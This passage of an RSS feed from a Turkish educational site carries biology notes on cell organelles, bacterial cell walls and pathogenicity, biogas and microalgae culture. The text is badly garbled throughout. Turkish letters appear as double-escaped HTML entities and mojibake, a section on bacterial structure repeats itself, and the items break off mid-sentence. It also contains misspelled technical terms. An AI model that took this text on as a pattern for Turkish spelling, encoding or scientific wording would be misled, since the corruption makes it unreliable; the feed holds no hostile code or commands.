baz&amp;yacute; maddeler&amp;yacute;n depolanmas&amp;yacute;nda görev yaparlar.&lt;br/&gt; b.R&amp;yacute;bozom:Zars&amp;yacute;z organellerd&amp;yacute;r.Çekirdekzar&amp;yacute;,ER,stoplazma s&amp;yacute;v&amp;yacute;s&amp;yacute;ve m&amp;yacute;tokondr&amp;yacute; s&amp;yacute;v&amp;yacute;s&amp;yacute;nda bulunurlar.Hücrede her türlü protein ve enz&amp;yacute;m sentez&amp;yacute;n&amp;yacute;n yap&amp;yacute;ld&amp;yacute;&amp;eth;&amp;yacute; yerdir.Prote&amp;yacute;n ve RNA lardan yap&amp;yacute;lm&amp;yacute;&amp;thorn;lard&amp;yacute;r.Birço&amp;eth;u stoplazmada yan yana gelerek polizom lar&amp;yacute; olu&amp;thorn;tururlar.Virusler har&amp;yacute;c butun canl&amp;yacute; hücrelerde bulunan temel organellerd&amp;yacute;r.&lt;br/&gt;c.M&amp;yacute;tokondr&amp;yacute;:Memeli alyuvarlar&amp;yacute;,bakter&amp;yacute; ve mav&amp;yacute; ye&amp;thorn;&amp;yacute;l alg ler&amp;yacute;n d&amp;yacute;&amp;thorn;&amp;yacute;ndak&amp;yacute; bütün ökaryot hucrelerde bulunurlar.Hücrede enerji uret&amp;yacute;m&amp;yacute;n&amp;yacute; sa&amp;eth;layan oksjenl&amp;yacute; solunumun merkezler&amp;yacute;d&amp;yacute;rler.&lt;br/&gt;d.Golg&amp;yacute; c&amp;yacute;s&amp;yacute;mc&amp;eth;&amp;yacute;:ER lerden olu&amp;thorn;mu&amp;thorn;turlar.Salg&amp;yacute; maddeler&amp;yacute;n&amp;yacute;n olu&amp;tho</description></item><item><title>BAKTERİLERİN PATOJENİTE KRİTERLERİ</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?bakterilerin-patojenite-kriterleri-363772.html</link><description>BAKTERİLERİN PATOJENİTE KRİTERLERİ&lt;br/&gt;A- BAKTERİLERİN TEMEL ÖZELLİKLERİ&lt;br/&gt;Monera alemini oluşturan prokaryot canlıların en yaygın ve en çok bilinen grubu bakterilerdir. En çok organik atıkların bol bulunduğu yerlerde ve sularda yaşarlar. Bununla beraber -90Â°C buzullar içinde ve +80Â°C kaplıcalarda yaşayabilen bakteri türleri de vardır. Hava ile ve su damlacıkları ile çok uzak mesafelere taşınabilirler. Deneysel olarak ilk defa 17. yyda bakterileri gözleyebilen ve onların şekillerini açıklayan Antoni Van Lövenhuk olmuştur.(1)&lt;br/&gt;B- BAKTERİ HÜCRELERİNİN YAPISI&lt;br/&gt;B.1- ŞEKİL VE BOYUT&lt;br/&gt;Bakteriler şekillerine göre kok, basil (çomak) ve spirakat olarak 3 temel gruba ayrılırlar (Şekil 1.a). bazı bakterilerin şekilleri değişken olup bunlara pleomorfik (çok şekilli) denir. Bakterinin şeklini katı hücre duvarı belirler.&lt;br/&gt;Karakteristik şekillerine ek olarak bakterilerin diziliş biçimi de önemlidir. Örneğin bazı koklar çiftler (diplokok), bazıları zincirler (streptokok), diğerleri ise üzüm salkımı gibi kümelenmiş halde (stafilokok) görülür. (2)&lt;br/&gt;Bakterilerin boyu yaklaşık 0,2 - 5 &amp;#61549;m arasında değişir. En küçük bakteri (Mycoplasma) aşağı yukarı en büyük viruslar (poksviruslar) kadar olup konakçı dışında yaşayabilen en küçük organizmadır. (2)&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;B.2- YAPI&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;B.3- HÜCRE DUVARI&lt;br/&gt;Hücre duvarı bütün bakterilerde ortak olarak en dışta yer alan hücre yapı taşıdır. Çok katmanlı bir yapı olup, sitoplazmik zarın dışına yerleşmiştir. Bu zar peptdoglikandan oluşan bir iç katman ve kalınlığı ve kimyasal bileşimi bakteri tipine bağlı olarak değişen bir dış katmandan oluşur. Peptidoglikan çatıya destek verir ve hücrenin tipik şeklinin sürdürülmesini sağlar.&lt;br/&gt;B.3.a) Gram (+) ve Gram (-) Bakterilerin Hücre Duvarları&lt;br/&gt;peptidoglikan katman gram (-) bakterilere oranla çok daha kalındır. Bazı gram (+) bakterilerde, peptidoglikanın dışında bir teikoik asit katmanı da bulunurken, gram (-) bakterilerde bu katman bulunmaz. Bunun aksine, gram (-) organizmalar lipopolisakkarit, lipoprotein ve fosfolipidden oluşan karmaşık bir dış katmana sahiptir. Gram (-) bakterilerde dış zar katmanı ile stoplazmik zar arasında yer alan boşluğa periplazmik aralık denmekte olup, burası bazı türlerde penisilin ve diğer &amp;#61538; - laktom ilaçları yıkan ve beta - laktamoz adı verilen enzimlerin bulunduğu yerdir.&lt;br/&gt;Gram (-) organizmalarda hücre duvarı bir lipopolisakkarit olan endotoksin içerir.&lt;br/&gt;B.3.b) Aside Dirençli Bakterilerin Hücre Duvarı&lt;br/&gt;Mikobakteriler Mycobacterium tuberculosis) alışılmadık bir hücre duvarına sahip olup bu nedenle Gram boyası almaz. Bu bakterilere, karbolfüksinle boyandıktan sonra asit alkolle renk gidermeye direnmelerinden ötürü aside dirençli adı verilir. Bakterinin bu niteliği hücre duvarında mikolik asitler adı verilen lipidlerin yüksek derişimde bulunmasıyla ilişkilidir.&lt;br/&gt;B.3.c) Peptidoglikan&lt;br/&gt;Hücrenin tamamını kuşatan karmaşık ve içiçe girmiş bir ağ yapıdır. Sadece bakteri hücre duvarında bulunur. Hücreye katı destek sağlar, hücrenin tipik şeklinin sürdürülmesinde önem taşır ve hücrenin su gibi düşük osmotik basınçlı ortama direnebilmesine izin verir. Peptidoglikanın eşanlamlı terimleri murein ve mukopeptiddir.&lt;br/&gt;Peptidoglikan yapısı, birbirini sıra ile izleyen N-asetilmüramik asit ve N-asetilglükozamin moleküllerinden oluşan karbonhidrat omurgasından oluşmuştur. Her müramik asit molekülüne hem D- hem L- amino asitlerden oluşan bir tetrapeptid bağlı olup bunların gerçek bileşimi bir bakteriden diğerine değişiklik gösterir. Ağın bir diğer önemli yapı taşı 2 tetrapeptid arasındaki çapraz bağ peptiddir. Çapraz bağlar türler arasında değişkenlik gösterir.&lt;br/&gt;Peptidoglikanın bakterilerde var olup insan hücrelerinde bulunmamasından ötürü antibakteriyal ilaçlar için iyi bir hedef oluşturur. Penisilin ve sferasporinler gibi bu ilaçlardan birçoğu bunun sentezini inhibe ederler. (2)&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;B.3.d) Lipopolisakarit (LPS)&lt;br/&gt;Gram (-) bakterilerin hücre duvarının dış katmanına ait LPS endotoksindir. Bu madde bu organizmaların neden olduğu hastalığın ateş ve şok gibi birçok niteliğinden sorumludur. LPS birbirinden farklı 3 birimden oluşur.&lt;br/&gt;1-Toksik etkilerden sorumlu olan ve lipid A adı verilen bir fosfolipid&lt;br/&gt;2-Lipid A&quot;ya ketodaoksloktülonort (KDO) üzerinden bağlanmış 5 şekerli bir öz polisakkarit&lt;br/&gt;3-3-5 sekerlik birimlerin 25 kez yinelenmesinden oluşan bir dış polisak&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;B.2- YAPI&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;B.3- HÜCRE DUVARI&lt;br/&gt;Hücre duvarı bütün bakterilerde ortak olarak en dışta yer alan hücre yapı taşıdır. Çok katmanlı bir yapı</description></item><item><title>BİYOGAZIN TANIMI VE ÖZELLİKLERİ</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?biyogazin-tanimi-ve-ozellikleri-397808.html</link><description>BİYOGAZIN TANIMI VE ÖZELLİKLERİ&lt;br/&gt;Biyogaz, hayvansal ve bitkisel atıkların oksijensiz ortamda ayrışması sonucu ortaya çıkan bir gaz karışımıdır. Bileşiminde % 60-70 metan (CH4), % 30-40 karbondioksit (CO2), % 0-2 hidrojen sülfür (H2S) ile çok az miktarda azot (N2) ve hidrojen (H2) bulunmaktadır.&lt;br/&gt;Biyogaz üretiminde kullanılabilecek bazı atıklar&lt;br/&gt;Hayvansal Atıklar : Sığır, at, koyun, tavuk gibi hayvanların gübreleri, insan dışkısı, mezbaha atıkları ve hayvansal ürünlerin işlenmesi sırasında ortaya çıkan atıklar&lt;br/&gt;Bitkisel Atıklar : İnce kıyılmış sap, saman, mısır artıkları, şeker pancarı yaprakları gibi bitkilerin işlenmeyen kısımları ile bitkisel ürünlerin işlenmesi sırasında ortaya çıkan atıklar.&lt;br/&gt;Biyogaz üretiminde hayvansal ve bitkisel atıklar tek başına kullanılabileceği gibi belli esaslar doğrultusunda karıştırılarak da kullanılabilir.&lt;br/&gt;Biyogaz, temiz ve mavi bir alevle yanar.&lt;br/&gt;Biyogaz, kullanılmadığı zaman çürük yumurta kokusundadır ancak yanarken bu koku kaybolur. Bu özellik, biyogazı ileten borularda kaçak olup olmadığını anlamada kolaylık sağlar.&lt;br/&gt;Biyogaz çok düşük sıcaklıklarda (-164 Â°C) sıvılaştırılabilmektedir. Bu işlem çok pahalıdır bu nedenle gaz tüplerinde depolanması ekonomik değildir. Genellikle gaz halinde kullanılmaktadır.&lt;br/&gt;BİYOGAZ ÜRETİMİNİN YARARLARI&lt;br/&gt;Ülkemizde hayvansal ve bitkisel atıklar, çoğunlukla ya doğrudan doğruya yakılmakta veya tarım topraklarına gübre olarak verilmektedir. Ancak atıkların yakılarak ısı üretiminde kullanılması daha yaygın olarak görülmektedir. Bu şekilde istenilen özellikte ısı üretilemediği gibi, ısı üretiminden sonra atıkların gübre olarak kullanılması da mümkün olmamaktadır. Biyogaz teknolojisi ise organik kökenli atıklardan hem enerji eldesine hem de atıkların toprağa kazandırılmasına imkan vermektedir.&lt;br/&gt;&lt;br/&gt;1 m3 biyogazın etkili ısısı; &lt;br/&gt;0.62 l gazyağının &lt;br/&gt;1.46 kg odun kömürünün &lt;br/&gt;3.47 kg odunun &lt;br/&gt;0.43 kg bütan gazının &lt;br/&gt;12.30 kg tezeğin&lt;br/&gt;4.70 Kwh elektriğin &lt;br/&gt;1.18 m3 havagazı&quot;nın&lt;br/&gt;sağladığı etkili ısıya eşdeğerdir.</description></item><item><title>ALGAL ÜRETİM</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?algal-uretim-346225.html</link><description>Algal Üretim&lt;br/&gt;&lt;br/&gt;1. GİRİŞ&lt;br/&gt;Gerek doğal ortamda gerekse laboratuar  koşullarında kültürü yapılan alglerin ekonomideki önemi büyüktür. Bu önem alglerin çok çeşitli alanlarda kullanılmasından ileri gelir. Algal üretim günümüzde ötrofikasyon kontrolü, atık su arıtımı, güneş enerjisinin biomasa dönüştürülmesinde en etkili ve en ekonomik yoldur. Mikroalgler fazla CO2 i uzaklaştırarak ortamın pH sını ayarlarlar ve ortamdaki fazla nutrientin uzaklaştırılmasıyla su kalitesinin kontrolüne yardımcı olurlar. Ayrıca bazı kimyasal maddelerin üretiminde ve enerji eldesinde (metan gazı) de kullanılırlar. Mikroalgler son derece zengin karbonhidrat, protein ve özellikle yağ asidi içeriğine sahiptirler. Besin değeri yüksek olan algler sucul kommuniteler için makronutrient, vitamin ve iz elementlerin en önemli kaynağıdırlar. Aynı zamanda balık ve diğer su canlılarında renklenmenin gelişmesinde gerekli temel pigmentleri sağlarlar. Deniz ve tatlı sulardaki su ürünlerinin aşırı miktarda avlanması ve çevre kirliliği sorunlarının artışı ile deniz ve iç suların kirlenmesi buralarda yaşayan organizmaların azalmasına neden olmuştur. Bu nedenle yetiştiricilik çalışmaları hız kazanmıştır. Yetiştiricilik yapılan tesislerde larva beslenmesinde alg kültür üniteleri sistemin kaçınılmaz ve en önemli basamağıdır. Bu ünitelerdeki başarı kurulan zincirin diğer halkalarına yansır. Alglerle besleme bivalı molluskların bütün gelişim safhaları ve bazı balık türlerinin çok erken gelişim safhaları için gereklidir. Ayrıca balık ve crustaceanların larval ve erken Juvenil safhaları için besin olarak kullanılan rotifer, artemia, kopepod gibi protein kaynağı olarak kullanılmaktadır. İnsanlar tarafından tüketilen çok sayıda Cyanophyte türü mevcuttur.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;2. KÜLTÜRÜ YAPILACAK MİKROALGLERDE BULUNMASI GEREKEN ÖZELLİKLER&lt;br/&gt;Kültür amaçlı çalışmalarda kullanılacak alglerde bazı özelliklerin olması gerekir. Kültürü yapılacak türler hem en yüksek miktarda hücre sayısına ulaşılmalı, hem de üretim ekonomik olmalıdır. Bu açıdan kültürü yapılacak alg türlerinde şu özellikler olmalıdır:&lt;br/&gt;1.Hızlı büyüme özelliği göstermeli.&lt;br/&gt;2.Besleyici değeri ve protein içeriği yüksek olmalı, özellikle proteinlerin sindirilebilme oranı yüksek olmalıdır.&lt;br/&gt;3.Ortam koşullarındaki değişimlere dayanıklı ve toleranslı olmalı, aynı zamanda toksik olmamalıdır.&lt;br/&gt;4.Kültür koşullarında üretimi sorun çıkarmamalıdır.&lt;br/&gt;Elbette kültürü yapılan bir türde bu özelliklerin hepsinin toplanması hemen hemen olanaksızdır. Ayrıca bazı türler doğal koşullarda çok hızlı ürediği halde kültür koşullarında üretilemezler. Bunlar yabani türler olarak adlandırılır. Hem ekonomik hem de çalışmanın başarıya ulaşması yönünden alg kültüründe uygun türün seçimi son derece önemlidir (Gökpınar ve Cirik, 1993).&lt;br/&gt;Bugün intensiv sistemlerde saf strainler olarak kültürü yapılan 40 tan fazla farklı mikroalg türü dünyanın farklı bölgelerinden izole edilmiştir. Günümüzde kültürü yapılan alglerin 8 sınıfı ve 32 cinsi ticari olarak önemli akvatik organizmaların farklı gruplarında besin olarak kullanılmaktadır. Tablo, birkaç  m  ile 100 mden daha fazla büyüklükte değişen flagellatlı diatomlar,  Chlorococcalean yeşil algler ve filamentous mikroalg türlerini içine alır. &lt;br/&gt;Ticari deniz kültürü çalışmalarında en sık kullanılan türler diatomlardan Skeletonema costatum, Thallassiosira pseudorona, Chaetoceros calcitians, Cgracilis, Flagellatlardan Isochrysis galbana, Tetraselmis suecica, Monochrysis lutheri ve Chlorococcalean Chlorella türleridir. Nannochloropsis. (Lavens ve Sorgeloos, 1996).&lt;br/&gt;Tablo 1. Akuakültürde kültürü yapılan mikroalglerin başlıca sınıfları ve cinsleri (Fulks and Main, 1991).&lt;br/&gt;SINIFCİNSALGLERİN VERİLDİĞİ ORGANİZMALAR&lt;br/&gt;BacillariophyceaeSkeletonemaPK, BM, BM&lt;br/&gt;ThalassiosiraPK, BM, BM&lt;br/&gt;PhaeodactylumPK, BM, BM, TKL, A&lt;br/&gt;ChaetocerosPK, BM, BM, A&lt;br/&gt;CylindrothecaPK&lt;br/&gt;BellerocheaBM&lt;br/&gt;ActinocyclusBM&lt;br/&gt;NitzchiaA&lt;br/&gt;CyclotellaA&lt;br/&gt;HaptophyceaeİsochrysisPK, BM, BM, TKL, A&lt;br/&gt;PseudoisochrysisBM, BM, TK&lt;br/&gt;DicrateriaBM&lt;br/&gt;ChrysophyceaeMonochyrsis (Pavlova)BM, BM,</description></item></channel></rss>